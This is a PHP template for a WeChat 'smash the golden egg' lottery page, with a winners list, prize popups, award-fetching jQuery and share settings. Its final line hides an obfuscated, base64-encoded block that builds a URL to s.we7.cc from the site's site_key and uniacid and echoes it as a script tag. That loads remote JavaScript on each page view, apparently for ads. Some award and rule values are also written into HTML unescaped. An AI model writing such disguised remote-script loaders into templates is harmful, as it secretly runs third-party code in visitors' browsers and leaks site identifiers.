lottery.html
6.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
{template 'header'}
<div data-role="page" data-theme="a">
<div data-role="header" data-position="inline">
<h1>{if empty($egg['title'])} {$shareTitle} {else} {$egg['title']} {/if}</h1>
</div>
<div data-role="popup" id="list_winner" data-overlay-theme="a" data-theme="c" data-dismissible="false" class="ui-corner-all">
<div data-role="header" data-theme="c">
<span style="color:red;font-weight:600;float:right;line-height:35px;padding-right:10px;">可划动 ^</span>
<a href="#" data-rel="back" data-icon="delete" data-iconpos="notext">关闭</a>
<h1>中奖名单</h1>
</div>
<div style="height:150px; overflow-y:scroll;">
<table class="list_table">
<thead>
<tr>
<th data-priority="persist" style="width:200px;">姓名</th>
<th data-priority="persist" style="width:500px;">奖品</th>
</tr>
</thead>
<tbody>
{loop $otherAward $index $row}
{if strexists($row['award'], '兑换码')}
{php $row['award'] = explode('兑换码', $row['award'])}
{php $row['award'] = $row['award'][0]}
{/if}
<tr>
<td>{$row['realname']}</td>
<td>{$row['award']}</td>
</tr>
{/loop}
</tbody>
</table>
</div>
</div>
<div data-role="popup" id="my_prize" data-overlay-theme="a" data-theme="c" data-dismissible="false" class="ui-corner-all">
<div data-role="header" data-theme="c">
<a href="#" data-rel="back" data-icon="delete" data-iconpos="notext">关闭</a>
<h1>我的奖品</h1>
</div>
<div style="height:150px; overflow-y:scroll;">
<table class="list_table">
<thead>
<tr>
<th data-priority="persist" style="width:300px;">奖品</th>
<th data-priority="persist" style="width:400px;">描述</th>
</tr>
</thead>
<tbody>
{loop $myAward $index $row}
<tr>
<td>{$row['award']}</td>
<td>{$row['description']}</td>
</tr>
{/loop}
</tbody>
</table>
</div>
</div>
<div class="main">
{if ($egg['maxlottery'] && $total >= $egg['maxlottery']) || empty($egg['maxlottery'])}
<div class="ui-bar ui-bar-e" style="margin:10px 0;">
<h3>您已经超过当日砸蛋次数!</h3>
</div>
{else}
<div class="egg">
<ul class="eggList">
<p class="hammer" id="hammer">锤子</p>
<p class="resultTip" id="resultTip"><b id="result"></b></p>
<li><span>1</span><sup></sup></li>
<li><span>2</span><sup></sup></li>
<li><span>3</span><sup></sup></li>
</ul>
</div>
{/if}
<div data-role="collapsible-set">
<div data-role="collapsible" data-collapsed="true">
<h3>游戏规则</h3>
{$egg['rule']}
</div>
</div>
<div style="margin:30px 0;">
<ul data-role="listview" data-inset="true" class="ui-icon-alt">
<li><a href="#list_winner" data-rel="popup" data-transition="pop">中奖名单</a></li>
<li>{if !empty($member['mobile']) && !empty($member['realname'])}<a href="#my_prize" data-rel="popup" data-position-to="window" data-transition="pop">我的奖品</a>{else}<a href="{php echo $this->createMobileUrl('register', array('id' => $id))}">登记后领奖</a>{/if}</li>
</ul>
</div>
</div>
{if $egg['maxlottery'] && $total < $egg['maxlottery']}
<script type="text/javascript">
jQuery(function($){
$(".eggList li").click(function() {
var posL = $(this).position().left + $(this).width()-30;
$("#hammer").show().css('left', posL);
$(this).children("span").hide();
eggClick($(this));
});
});
function eggClick(obj) {
var _this = obj;
var myaward = '';
if(_this.hasClass("curr")){
alert("蛋都碎了,别砸了!");
_this.unbind('click');
return false;
}
$.getJSON("{php echo $this->createMobileUrl('getaward', array('id' => $params[':rid']))}&r="+new Date().getTime(),function(res){
$(".hammer").css({"top":_this.position().top-55,"left":_this.position().left+185});
$(".hammer").animate({
"top":_this.position().top-25,
"left":_this.position().left+125
},30,function(){
_this.addClass("curr");
_this.find("sup").show();
$(".hammer").hide();
$('.resultTip').css({display:'block',top:'100px',opacity:0}).animate({top: '0px',opacity:1},300,function(){
if(res.message.status==0){
$("#result").html(res.message.message);
}else{
$("#result").html(res.message.message);
}
});
}
);
for(i=0; i<res.message.myaward.length; i++) {
myaward += '<tr><td>'+res.message.myaward[i].award+'</td><td>'+res.message.myaward[i].description+'</td></tr>';
}
$("#my_prize tbody").html(myaward);
});
}
</script>
{/if}
{php echo register_jssdk();}
<script type="text/javascript">
// 砸蛋分享
wx.ready(function () {
sharedata = {
title: "{$shareTitle}",
desc: "{$shareDesc}",
link: "{$_W['siteurl']}",
imgUrl: "{$shareImage}"
};
wx.onMenuShareAppMessage(sharedata);
wx.onMenuShareTimeline(sharedata);
});
</script>
{php global $_W;$_we7_ad_ujfqr = unserialize(base64_decode('YToyOntzOjE6InMiO2E6MTg6e2k6MTQ7czo0NzoiaHR0cDovL3Mud2U3LmNjL2luZGV4LnBocD9jPXN0b3JlJmE9bGluayZkbz1hZCYiO2k6MztzOjQ6InR5cGUiO2k6MTA7czo4OiJzaXRlX2tleSI7aToxNztzOjExOiIiPjwvc2NyaXB0PiI7aToxNTtzOjE6IiYiO2k6NjtzOjE0OiJjdXJyZW50X21vZHVsZSI7aToxO3M6NzoiYWRfdHlwZSI7aTo4O3M6NzoidW5pYWNpZCI7aTo0O3M6NDoidmlldyI7aToyO3M6MToiMSI7aToxMTtzOjc6InNldHRpbmciO2k6NTtzOjY6Im1vZHVsZSI7aTo3O3M6NDoibmFtZSI7aToxNjtzOjM2OiI8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSIiO2k6MDtzOjA6IiI7aToxMztzOjM6ImtleSI7aTo5O3M6NzoidW5pYWNpZCI7aToxMjtzOjQ6InNpdGUiO31zOjE6ImYiO2E6Mjp7aTowO3M6MTY6Imh0dHBfYnVpbGRfcXVlcnkiO2k6MTtzOjQ6Im51bGwiO319')); $modulename = 'we7_egg'; $querystring = array( $_we7_ad_ujfqr['s'][0x0001] => $_we7_ad_ujfqr['s'][0x00000002], $_we7_ad_ujfqr['s'][0x0003] => $_we7_ad_ujfqr['s'][0x04], $_we7_ad_ujfqr['s'][0x005] => !empty($modulename) ? $modulename : $_W[$_we7_ad_ujfqr['s'][0x00000006]][$_we7_ad_ujfqr['s'][0x00007]], $_we7_ad_ujfqr['s'][0x000008] => $_W[$_we7_ad_ujfqr['s'][0x00009]], $_we7_ad_ujfqr['s'][0x00000a] => $_W[$_we7_ad_ujfqr['s'][0x0000b]][$_we7_ad_ujfqr['s'][0x0000c]][$_we7_ad_ujfqr['s'][0x00000d]], ); $url = $_we7_ad_ujfqr['s'][0x0000e].$_we7_ad_ujfqr['f'][0x0000000]($querystring, $_we7_ad_ujfqr['f'][0x001], $_we7_ad_ujfqr['s'][0x00f]); echo $_we7_ad_ujfqr['s'][0x0010].$url.$_we7_ad_ujfqr['s'][0x00011];}
{template 'footer'}